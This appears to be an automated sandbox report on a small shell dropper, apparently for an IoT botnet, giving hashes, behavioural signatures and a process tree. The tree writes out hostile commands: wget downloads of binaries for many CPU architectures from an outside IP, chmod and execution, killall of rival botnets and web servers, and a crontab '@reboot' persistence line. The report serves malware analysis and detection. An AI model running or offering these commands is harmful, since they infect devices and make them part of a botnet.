Analysis
- max time kernel
150s - max time network
11s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem - submitted
26/10/2026, 22:50
Static task
static1
Behavioral task
behavioral1
Sample
s.sh
Resource
ubuntu1804-amd64-20261019-en
Behavioral task
behavioral2
Sample
s.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
s.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
s.sh
Resource
debian9-mipsel-20260513-en
General
- Target s.sh
- Size 492B
- Sample261026-2sd5qscb63
- SHA256 c0b488bbda0c5a3e49449a98ac64bdf6b4757748f60f569cde4c10759a6f34b6
- MD5 3d8427244d89f9eb6a44d3b9f6de60d9
- SHA1 b636281a61330633b37f11ef098ce0156bc15b28
- SHA512 8924c7cc44813001d89da0d49274ab42ed9f1487308c8c3536a7405d3bb4ea22b88af6354282b716e5df462f2c977c731523ad11bb953213729eb9788b5c8dde
- TLSH T145F059EA7060CAA83CDD0D7CB19A8101A9C60DAB6B511F35C5862CE3000CA88B72DA72
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 9 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 740 chmod 762 chmod 771 chmod 779 chmod 795 chmod 805 chmod 729 chmod 753 chmod 787 chmod - Executes dropped EXE 64 IoCs
ioc pid Process /tmp/.x 731 s.sh /tmp/.x 742 s.sh /var/cache/.khelper 733 .x /tmp/.x 755 s.sh /var/cache/.khelper 733 .khelper /tmp/.x 764 s.sh /var/cache/.khelper 733 .khelper /tmp/.x 772 s.sh /var/cache/.khelper 733 .khelper /tmp/.x 780 s.sh /var/cache/.khelper 733 .khelper /tmp/.x 789 s.sh /var/cache/.khelper 733 .khelper /tmp/.x 796 s.sh /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /tmp/.x 806 s.sh /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper /var/cache/.khelper 733 .khelper - Renames itself 64 IoCs
pid Process 731 .x 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper 733 .khelper - Checks hardware identifiers (DMI) 1 TTPs 64 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/class/dmi/id/product_name .khelper File opened for reading /sys/class/dmi/id/board_vendor .khelper File opened for reading /sys/class/dmi/id/product_name .khelper File opened for reading /sys/class/dmi/id/board_vendor Process not Found File opened for reading /sys/class/dmi/id/board_vendor .khelper File opened for reading /sys/class/dmi/id/board_vendor .khelper File opened for reading /sys/class/dmi/id/product_name Process not Found File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/board_vendor Process not Found File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/product_name .khelper File opened for reading /sys/class/dmi/id/sys_vendor .khelper File opened for reading /sys/class/dmi/id/sys_vendor .khelper File opened for reading /sys/class/dmi/id/board_vendor .khelper File opened for reading /sys/class/dmi/id/product_name .khelper File opened for reading /sys/class/dmi/id/board_vendor .khelper File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/board_vendor Process not Found File opened for reading /sys/class/dmi/id/board_vendor .khelper File opened for reading /sys/class/dmi/id/sys_vendor .khelper File opened for reading /sys/class/dmi/id/board_vendor .khelper File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/board_vendor Process not Found File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/board_vendor Process not Found File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/product_name Process not Found File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/product_name .khelper File opened for reading /sys/class/dmi/id/sys_vendor .khelper File opened for reading /sys/class/dmi/id/product_name Process not Found File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/board_vendor Process not Found File opened for reading /sys/class/dmi/id/sys_vendor .khelper File opened for reading /sys/class/dmi/id/board_vendor Process not Found File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/product_name Process not Found File opened for reading /sys/class/dmi/id/board_vendor .khelper File opened for reading /sys/class/dmi/id/sys_vendor .khelper File opened for reading /sys/class/dmi/id/board_vendor .khelper File opened for reading /sys/class/dmi/id/product_name .khelper File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/board_vendor .khelper File opened for reading /sys/class/dmi/id/product_name Process not Found File opened for reading /sys/class/dmi/id/board_vendor Process not Found File opened for reading /sys/class/dmi/id/product_name Process not Found File opened for reading /sys/class/dmi/id/board_vendor Process not Found File opened for reading /sys/class/dmi/id/product_name .khelper File opened for reading /sys/class/dmi/id/board_vendor Process not Found File opened for reading /sys/class/dmi/id/product_name Process not Found File opened for reading /sys/class/dmi/id/board_vendor Process not Found File opened for reading /sys/class/dmi/id/product_name Process not Found File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/product_name Process not Found File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/product_name Process not Found File opened for reading /sys/class/dmi/id/board_vendor Process not Found File opened for reading /sys/class/dmi/id/sys_vendor Process not Found File opened for reading /sys/class/dmi/id/sys_vendor Process not Found - Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.8JxDPx crontab - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
description ioc Process File opened for modification /etc/rc.local .x - Reads MAC address of network interface 2 TTPs 64 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
description ioc Process File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address .khelper File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found File opened for reading /sys/class/net/enp0s19/address Process not Found - Reads network interface configuration 2 TTPs 64 IoCs
Fetches information about one or more active network interfaces.
description ioc Process File opened for reading /sys/class/net/enp0s19/flags .khelper File opened for reading /sys/class/net/enp0s19/flags .khelper File opened for reading /sys/class/net/enp0s19/flags .khelper File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/flags .khelper File opened for reading /sys/class/net/enp0s19/flags .khelper File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/flags .khelper File opened for reading /sys/class/net/enp0s19/flags .khelper File opened for reading /sys/class/net/enp0s19/carrier .khelper File opened for reading /sys/class/net/enp0s19/carrier .khelper File opened for reading /sys/class/net/enp0s19/flags .khelper File opened for reading /sys/class/net/enp0s19/carrier .khelper File opened for reading /sys/class/net/enp0s19/flags .khelper File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/flags .khelper File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/carrier .khelper File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/carrier .khelper File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/carrier .khelper File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/flags .khelper File opened for reading /sys/class/net/enp0s19/carrier .khelper File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/carrier .x File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/carrier .khelper File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/carrier .khelper File opened for reading /sys/class/net/enp0s19/carrier .khelper File opened for reading /sys/class/net/enp0s19/carrier Process not Found File opened for reading /sys/class/net/enp0s19/carrier .khelper File opened for reading /sys/class/net/enp0s19/flags .khelper File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found File opened for reading /sys/class/net/enp0s19/flags Process not Found -
resource yara_rule behavioral3/files/fstream-1.dat upx behavioral3/files/fstream-3.dat upx behavioral3/files/fstream-9.dat upx behavioral3/files/fstream-11.dat upx behavioral3/files/fstream-13.dat upx behavioral3/files/fstream-15.dat upx - Changes its process name 64 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself watchdog 731 .x Changes the process name, possibly in an attempt to hide itself inetd 733 .khelper Changes the process name, possibly in an attempt to hide itself klogd 733 .khelper Changes the process name, possibly in an attempt to hide itself udhcpc 733 .khelper Changes the process name, possibly in an attempt to hide itself ntpclient 733 .khelper Changes the process name, possibly in an attempt to hide itself udhcpc 733 .khelper Changes the process name, possibly in an attempt to hide itself inetd 733 .khelper Changes the process name, possibly in an attempt to hide itself klogd 733 .khelper Changes the process name, possibly in an attempt to hide itself telnetd 733 .khelper Changes the process name, possibly in an attempt to hide itself ntpclient 733 .khelper Changes the process name, possibly in an attempt to hide itself udhcpc 733 .khelper Changes the process name, possibly in an attempt to hide itself watchdog 733 .khelper Changes the process name, possibly in an attempt to hide itself ntpclient 733 .khelper Changes the process name, possibly in an attempt to hide itself upnpd 733 .khelper Changes the process name, possibly in an attempt to hide itself ntpclient 733 .khelper Changes the process name, possibly in an attempt to hide itself watchdog 733 .khelper Changes the process name, possibly in an attempt to hide itself dhclient 733 .khelper Changes the process name, possibly in an attempt to hide itself ntpclient 733 .khelper Changes the process name, possibly in an attempt to hide itself inetd 733 .khelper Changes the process name, possibly in an attempt to hide itself ntpclient 733 .khelper Changes the process name, possibly in an attempt to hide itself klogd 733 .khelper Changes the process name, possibly in an attempt to hide itself udhcpc 733 .khelper Changes the process name, possibly in an attempt to hide itself upnpd 733 .khelper Changes the process name, possibly in an attempt to hide itself dhclient 733 .khelper Changes the process name, possibly in an attempt to hide itself dhclient 733 .khelper Changes the process name, possibly in an attempt to hide itself klogd 733 .khelper Changes the process name, possibly in an attempt to hide itself ntpclient 733 .khelper Changes the process name, possibly in an attempt to hide itself upnpd 733 .khelper Changes the process name, possibly in an attempt to hide itself telnetd 733 .khelper Changes the process name, possibly in an attempt to hide itself telnetd 733 .khelper Changes the process name, possibly in an attempt to hide itself ntpclient 733 .khelper Changes the process name, possibly in an attempt to hide itself upnpd 733 .khelper Changes the process name, possibly in an attempt to hide itself telnetd 733 .khelper Changes the process name, possibly in an attempt to hide itself dhclient 733 .khelper Changes the process name, possibly in an attempt to hide itself dhclient 733 .khelper Changes the process name, possibly in an attempt to hide itself upnpd 733 .khelper Changes the process name, possibly in an attempt to hide itself upnpd 733 .khelper Changes the process name, possibly in an attempt to hide itself upnpd 733 .khelper Changes the process name, possibly in an attempt to hide itself ntpclient 733 .khelper Changes the process name, possibly in an attempt to hide itself klogd 733 .khelper Changes the process name, possibly in an attempt to hide itself telnetd 733 .khelper Changes the process name, possibly in an attempt to hide itself inetd 733 .khelper Changes the process name, possibly in an attempt to hide itself ntpclient 733 .khelper Changes the process name, possibly in an attempt to hide itself dhclient 733 .khelper Changes the process name, possibly in an attempt to hide itself klogd 733 .khelper Changes the process name, possibly in an attempt to hide itself dhclient 733 .khelper Changes the process name, possibly in an attempt to hide itself ntpclient 733 .khelper Changes the process name, possibly in an attempt to hide itself upnpd 733 .khelper Changes the process name, possibly in an attempt to hide itself klogd 733 .khelper Changes the process name, possibly in an attempt to hide itself watchdog 733 .khelper Changes the process name, possibly in an attempt to hide itself ntpclient 733 .khelper Changes the process name, possibly in an attempt to hide itself telnetd 733 .khelper Changes the process name, possibly in an attempt to hide itself telnetd 733 .khelper Changes the process name, possibly in an attempt to hide itself telnetd 733 .khelper Changes the process name, possibly in an attempt to hide itself klogd 733 .khelper Changes the process name, possibly in an attempt to hide itself watchdog 733 .khelper Changes the process name, possibly in an attempt to hide itself udhcpc 733 .khelper Changes the process name, possibly in an attempt to hide itself inetd 733 .khelper Changes the process name, possibly in an attempt to hide itself upnpd 733 .khelper Changes the process name, possibly in an attempt to hide itself ntpclient 733 .khelper Changes the process name, possibly in an attempt to hide itself inetd 733 .khelper Changes the process name, possibly in an attempt to hide itself upnpd 733 .khelper Changes the process name, possibly in an attempt to hide itself ntpclient 733 .khelper Changes the process name, possibly in an attempt to hide itself dhclient 733 .khelper - Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/class/net .khelper File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net .khelper File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net .khelper File opened for reading /sys/class/net .khelper File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net .khelper File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net .khelper File opened for reading /sys/class/net .khelper File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net .khelper File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net .khelper File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found File opened for reading /sys/class/net Process not Found -
description ioc Process File opened for reading /proc/23/stat Process not Found File opened for reading /proc/169/stat Process not Found File opened for reading /proc/149/stat Process not Found File opened for reading /proc/7/stat Process not Found File opened for reading /proc/411/stat Process not Found File opened for reading /proc/79/stat Process not Found File opened for reading /proc/70/stat Process not Found File opened for reading /proc/37/stat killall File opened for reading /proc/669/stat Process not Found File opened for reading /proc/71/stat Process not Found File opened for reading /proc/411/stat Process not Found File opened for reading /proc/411/cmdline Process not Found File opened for reading /proc/666/stat Process not Found File opened for reading /proc/80/stat Process not Found File opened for reading /proc/169/stat Process not Found File opened for reading /proc/15/stat Process not Found File opened for reading /proc/699/cmdline killall File opened for reading /proc/704/stat killall File opened for reading /proc/243/stat Process not Found File opened for reading /proc/21/stat killall File opened for reading /proc/151/stat killall File opened for reading /proc/674/stat Process not Found File opened for reading /proc/11/stat Process not Found File opened for reading /proc/673/cmdline Process not Found File opened for reading /proc/8/cmdline Process not Found File opened for reading /proc/6/stat Process not Found File opened for reading /proc/119/stat Process not Found File opened for reading /proc/80/cmdline Process not Found File opened for reading /proc/9/stat Process not Found File opened for reading /proc/358/cmdline Process not Found File opened for reading /proc/357/stat Process not Found File opened for reading /proc/673/cmdline Process not Found File opened for reading /proc/18/stat Process not Found File opened for reading /proc/149/cmdline .khelper File opened for reading /proc/37/cmdline .khelper File opened for reading /proc/372/stat killall File opened for reading /proc/376/stat Process not Found File opened for reading /proc/715/cmdline Process not Found File opened for reading /proc/11/stat killall File opened for reading /proc/707/stat Process not Found File opened for reading /proc/19/cmdline Process not Found File opened for reading /proc/7/stat killall File opened for reading /proc/663/cmdline .khelper File opened for reading /proc/20/stat killall File opened for reading /proc/82/stat Process not Found File opened for reading /proc/118/cmdline Process not Found File opened for reading /proc/5/cmdline Process not Found File opened for reading /proc/8/stat Process not Found File opened for reading /proc/411/stat Process not Found File opened for reading /proc/666/cmdline .khelper File opened for reading /proc/5/cmdline Process not Found File opened for reading /proc/5/stat killall File opened for reading /proc/14/stat Process not Found File opened for reading /proc/357/cmdline Process not Found File opened for reading /proc/filesystems Process not Found File opened for reading /proc/149/stat killall File opened for reading /proc/69/stat killall File opened for reading /proc/4/stat Process not Found File opened for reading /proc/68/stat Process not Found File opened for reading /proc/7/cmdline Process not Found File opened for reading /proc/3/stat Process not Found File opened for reading /proc/8/cmdline Process not Found File opened for reading /proc/9/cmdline Process not Found File opened for reading /proc/68/stat killall - System Network Configuration Discovery 1 TTPs 64 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 761 killall 1216 killall 1459 sh 734 sh 786 killall 990 sh 1920 Process not Found 2255 Process not Found 2476 Process not Found 2700 Process not Found 2431 Process not Found 2916 Process not Found 2235 Process not Found 2584 Process not Found 1348 killall 1759 Process not Found 2052 Process not Found 2228 Process not Found 1488 killall 2536 Process not Found 861 sh 1955 Process not Found 1960 Process not Found 2575 Process not Found 3044 Process not Found 3179 Process not Found 3199 Process not Found 3215 Process not Found 1088 sh 2139 Process not Found 2335 Process not Found 2772 Process not Found 1231 sh 1652 Process not Found 2115 Process not Found 3088 Process not Found 1188 killall 1876 Process not Found 2083 Process not Found 2475 Process not Found 2564 Process not Found 856 killall 1379 sh 1767 Process not Found 2435 Process not Found 2484 Process not Found 3200 Process not Found 1167 sh 1852 Process not Found 2079 Process not Found 3064 Process not Found 1455 sh 1548 killall 1552 killall 2355 Process not Found 2419 Process not Found 2948 Process not Found 1018 sh 2720 Process not Found 2888 Process not Found 3023 Process not Found 3127 Process not Found 1187 sh 1456 killall - Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.x wget File opened for modification /tmp/.x wget File opened for modification /tmp/.x wget File opened for modification /tmp/.x wget File opened for modification /tmp/.x wget File opened for modification /tmp/.x wget File opened for modification /tmp/.x wget File opened for modification /tmp/.x wget File opened for modification /tmp/.x wget
Processes
-
/tmp/s.sh/tmp/s.sh1⤵
- Executes dropped EXE
PID:709 -
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari2⤵PID:711
-
-
/usr/bin/wgetwget http://130.12.180.212/mips -O .x2⤵
- Writes file to tmp directory
PID:714
-
-
/bin/chmodchmod 777 .x2⤵
- File and Directory Permissions Modification
PID:729
-
-
/usr/bin/wgetwget http://130.12.180.212/mipsel -O .x2⤵
- Writes file to tmp directory
PID:732
-
-
/tmp/.x./.x exploit2⤵
- Executes dropped EXE
- Renames itself
- Modifies rc script
- Reads network interface configuration
- Changes its process name
PID:731 -
/bin/shsh -c "killall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh 2>/dev/null"3⤵
- System Network Configuration Discovery
PID:734 -
/usr/bin/killallkillall -9 .t .nttpd .sh4 dvrHelper yakuza .mi mozi satori .tsunami .hakai .owari mirai hajime .nippon macHelper .z .loaded zollard .chinaz .sh4⤵PID:735
-
-
-
/bin/shsh -c "killall -9 httpd lighttpd boa goahead mini_httpd webs 2>/dev/null"3⤵PID:737
-
/usr/bin/killallkillall -9 httpd lighttpd boa goahead mini_httpd webs4⤵PID:738
-
-
-
/bin/shsh -c "(crontab -l 2>/dev/null; printf '@reboot /var/cache/.khelper exploit &\\n') | crontab - 2>/dev/null"3⤵PID:741
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:746
-
-
/usr/bin/crontabcrontab -l4⤵PID:747
-
-
-
-
/bin/chmodchmod 777 .x2⤵
- File and Directory Permissions Modification
PID:740
-
-
/usr/bin/wgetwget http://130.12.180.212/armv5l -O .x2⤵
- Writes file to tmp directory
PID:743
-
-
/tmp/.x./.x exploit2⤵PID:742
-
-
/bin/chmodchmod 777 .x2⤵
- File and Directory Permissions Modification
PID:753
-
-
/usr/bin/wgetwget http://130.12.180.212/armv7l -O .x2⤵
- Writes file to tmp directory
PID:756
-
-
/tmp/.x./.x exploit2⤵PID:755
-
-
/bin/chmodchmod 777 .x2⤵
- File and Directory Permissions Modification
PID:762
-
-
/usr/bin/wgetwget http://130.12.180.212/aarch64 -O .x2⤵
- Writes file to tmp directory
PID:765
-
-
/tmp/.x./.x exploit2⤵PID:764
-
-
/bin/chmodchmod 777 .x2⤵
- File and Directory Permissions Modification
PID:771
-
-
/usr/bin/wgetwget http://130.12.180.212/i686 -O .x2⤵
- Writes file to tmp directory
PID:773
-
-
/tmp/.x./.x exploit2⤵PID:772
-
-
/bin/chmodchmod 777 .x2⤵
- File and Directory Permissions Modification
PID:779
-
-
/usr/bin/wgetwget http://130.12.180.212/powerpc -O .x2⤵
- Writes file to tmp directory
PID:781
-
-
/tmp/.x./.x exploit2⤵PID:780
-
-
/bin/chmodchmod 777 .x2⤵
- File and Directory Permissions Modification
PID:787
-
-
/usr/bin/wgetwget http://130.12.180.212/armv4l -O .x2⤵
- Writes file to tmp directory
PID:790
-
-
/tmp/.x./.x exploit2⤵PID:789
-
-
/bin/chmodchmod 777 .x2⤵
- File and Directory Permissions Modification
PID:795
-
-
/usr/bin/wgetwget http://130.12.180.212/x86_64 -O .x2⤵
- Writes file to tmp directory
PID:797
-
-
/tmp/.x./.x exploit2⤵PID:796
-
-
/bin/chmodchmod 777 .x2⤵
- File and Directory Permissions Modification
PID:805
-
-
/bin/rmrm -f .x2⤵PID:808
-
-
/tmp/.x./.x exploit2⤵PID:806
-
-
/var/cache/.khelper/var/cache/.khelper exploit r1⤵
- Executes dropped EXE
- Renames itself
- Checks hardware identifiers (DMI)
- Changes its process name
PID:733 -
